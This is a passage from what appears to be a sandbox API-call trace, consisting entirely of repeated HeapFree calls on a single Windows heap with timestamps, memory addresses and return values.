out: hHeap=0x660000) returned 1 [0156.540] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0156.541] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0156.542] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0156.542] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0156.542] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0156.542] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0156.542] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0156.542] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0156.542] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0156.542] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0156.542] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0156.545] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0156.546] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0156.546] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0156.547] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0156.547] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0156.548] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0156.551] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0156.552] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0156.554] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0156.554] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0156.554] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0156.554] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0156.555] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0156.555] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0156.555] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0156.624] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0156.624] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0156.627] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0156.629] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0156.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0156.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0156.636] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0156.673] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0156.724] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0156.730] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0156.742] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0156.758] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0156.763] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0156.763] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0156.763] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0156.767] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0156.767] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0156.779] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0156.800] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0156.800] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0156.807] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0156.807] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0156.807] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0156.834] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0156.835] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0156.835] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0156.835] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0156.837] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0156.837] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0157.216] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0157.226] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0157.226] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0157.228] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0157.228] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0157.228] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0157.229] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0157.229] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0157.229] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0157.230] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0157.230] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0157.232] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0157.232] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0157.232] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0157.234] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0157.234] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0157.234] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0157.234] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0157.234] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0157.236] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0157.236] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0157.236] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0157.236] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0157.237] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0157.237] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0157.237] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0157.381] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0157.382] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0157.383] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0157.383] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0157.384] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0157.384] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0157.384] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0157.387] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0157.388] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41f2980 | out: hHeap=0x660000) returned 1 [0157.388] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0157.388] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0157.389] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0157.390] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0157.390] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0157.391] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0157.392] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0157.395] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0157.395] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0157.396] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0157.399] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0157.399] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0157.400] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0157.400] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0157.403] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0157.404] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0157.404] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0157.413] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0157.415] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0157.415] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0157.419] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0157.419] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0157.420] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0157.420] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0157.910] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0157.910] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0157.915] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0157.917] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0157.918] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0157.918] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0157.918] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0157.921] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0157.921] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0157.925] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0157.925] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0157.926] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0157.928] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0157.928] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0157.928] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0157.928] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0157.930] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0157.930] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0157.933] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x424ddb0 | out: hHeap=0x660000) returned 1 [0157.934] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x424ddb0 | out: hHeap=0x660000) returned 1 [0157.935] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0157.935] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0157.937] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0157.937] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0157.938] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0157.941] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0157.943] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0157.947] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0157.949] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0158.018] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0158.198] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0158.198] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0158.202] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0158.203] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0158.203] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0158.212] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0158.212] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0158.215] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0158.219] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0158.220] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0158.224] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0158.224] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0158.227] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0158.230] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0158.230] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0158.231] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0158.231] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0158.233] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0158.237] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0158.238] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0158.242] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0158.242] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0158.242] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0158.243] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0158.251] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0158.251] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0158.252] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0158.252] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0158.253] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0158.253] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0158.253] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0158.254] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0158.255] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0158.256] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0158.259] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0158.263] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0158.884] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0158.886] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0158.887] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0158.888] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0158.890] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0158.890] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0158.892] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0158.894] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0158.896] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0158.898] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0158.899] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0158.899] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0158.899] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0158.900] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0158.902] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0158.904] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0158.904] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0158.905] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0158.908] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0158.909] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0158.909] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0158.919] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0158.930] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0158.933] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0159.048] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0159.048] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0159.082] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0159.082] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0159.096] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0159.096] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0159.121] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0159.121] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0159.134] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0159.134] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0159.142] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0159.159] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0159.159] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0159.160] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0159.690] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0159.691] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0159.691] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0159.759] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0160.029] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0160.040] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0160.041] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0160.041] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0160.054] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0160.054] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0160.054] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0160.114] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0160.507] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0160.507] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0160.510] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0160.511] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0160.511] HeapFree (in: 